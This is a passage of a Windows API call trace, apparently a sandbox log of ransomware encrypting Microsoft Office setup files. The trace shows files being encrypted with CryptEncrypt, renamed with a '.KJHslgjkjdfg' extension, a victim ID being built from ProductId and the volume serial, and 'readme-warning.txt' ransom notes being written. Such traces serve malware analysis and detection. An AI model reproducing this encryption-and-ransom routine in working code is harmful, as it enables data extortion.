ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0144.058] GetProcessHeap () returned 0x2a0000 [0144.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0144.058] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0144.058] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0144.058] GetProcessHeap () returned 0x2a0000 [0144.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2ca) returned 0x2f7730 [0144.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.059] GetProcessHeap () returned 0x2a0000 [0144.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.060] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.060] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.060] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xf, lpOverlapped=0x0) returned 1 [0144.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.065] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.065] GetProcessHeap () returned 0x2a0000 [0144.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0144.065] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0144.065] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.065] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0144.066] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.066] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.066] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.066] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.066] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.066] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.066] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.066] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x1861, lpOverlapped=0x0) returned 1 [0144.067] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1870, dwBufLen=0x1870 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x1870) returned 1 [0144.067] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.068] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x1870, lpOverlapped=0x0) returned 1 [0144.068] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.068] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.068] SetEndOfFile (hFile=0x13c) returned 1 [0144.071] GetProcessHeap () returned 0x2a0000 [0144.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0144.071] GetProcessHeap () returned 0x2a0000 [0144.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0144.072] CloseHandle (hObject=0x13c) returned 1 [0144.072] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0144.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.073] GetProcessHeap () returned 0x2a0000 [0144.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.073] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.073] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.073] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x1, lpOverlapped=0x0) returned 1 [0144.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.075] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.076] GetProcessHeap () returned 0x2a0000 [0144.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.076] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0144.076] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.076] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0144.076] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0144.076] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0144.076] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0144.076] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0144.076] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0144.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.076] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.076] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.077] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x251f, lpOverlapped=0x0) returned 1 [0144.078] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2520, dwBufLen=0x2520 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x2520) returned 1 [0144.078] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.078] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x2520, lpOverlapped=0x0) returned 1 [0144.078] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.078] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x25f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.078] SetEndOfFile (hFile=0x13c) returned 1 [0144.081] GetProcessHeap () returned 0x2a0000 [0144.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.081] GetProcessHeap () returned 0x2a0000 [0144.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0144.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.kjhslgjkjdfg")) returned 1 [0144.082] CloseHandle (hObject=0x13c) returned 1 [0144.082] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0144.082] GetProcessHeap () returned 0x2a0000 [0144.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0144.082] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.082] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0144.082] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.082] GetProcessHeap () returned 0x2a0000 [0144.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0144.082] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.082] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0144.082] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.082] GetProcessHeap () returned 0x2a0000 [0144.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0144.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.083] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0144.083] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.083] GetProcessHeap () returned 0x2a0000 [0144.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0144.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.083] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0144.083] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.083] GetProcessHeap () returned 0x2a0000 [0144.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.083] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0144.083] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.083] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0144.083] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0144.083] RegCloseKey (hKey=0x13c) returned 0x0 [0144.083] GetProcessHeap () returned 0x2a0000 [0144.083] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0144.084] GetProcessHeap () returned 0x2a0000 [0144.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.084] GetProcessHeap () returned 0x2a0000 [0144.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0144.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0144.084] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0144.084] CryptDestroyKey (hKey=0x2c6420) returned 1 [0144.084] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0144.084] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0144.084] GetProcessHeap () returned 0x2a0000 [0144.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0144.084] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0144.084] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0144.084] GetProcessHeap () returned 0x2a0000 [0144.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0144.084] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\readme-warning.txt") returned 110 [0144.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.087] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0144.089] CloseHandle (hObject=0x13c) returned 1 [0144.089] GetProcessHeap () returned 0x2a0000 [0144.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0144.089] GetProcessHeap () returned 0x2a0000 [0144.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0144.089] GetProcessHeap () returned 0x2a0000 [0144.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0144.089] GetProcessHeap () returned 0x2a0000 [0144.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0144.089] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0144.089] GetProcessHeap () returned 0x2a0000 [0144.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0144.089] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0144.090] GetProcessHeap () returned 0x2a0000 [0144.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xbe) returned 0x2ed148 [0144.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0144.090] GetProcessHeap () returned 0x2a0000 [0144.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0144.090] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0144.090] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0144.090] GetProcessHeap () returned 0x2a0000 [0144.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c0) returned 0x2f7730 [0144.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0144.091] GetProcessHeap () returned 0x2a0000 [0144.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0144.091] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0144.091] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0144.092] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xf, lpOverlapped=0x0) returned 1 [0144.094] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0144.094] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0144.094] GetProcessHeap () returned 0x2a0000 [0144.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0144.095] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: 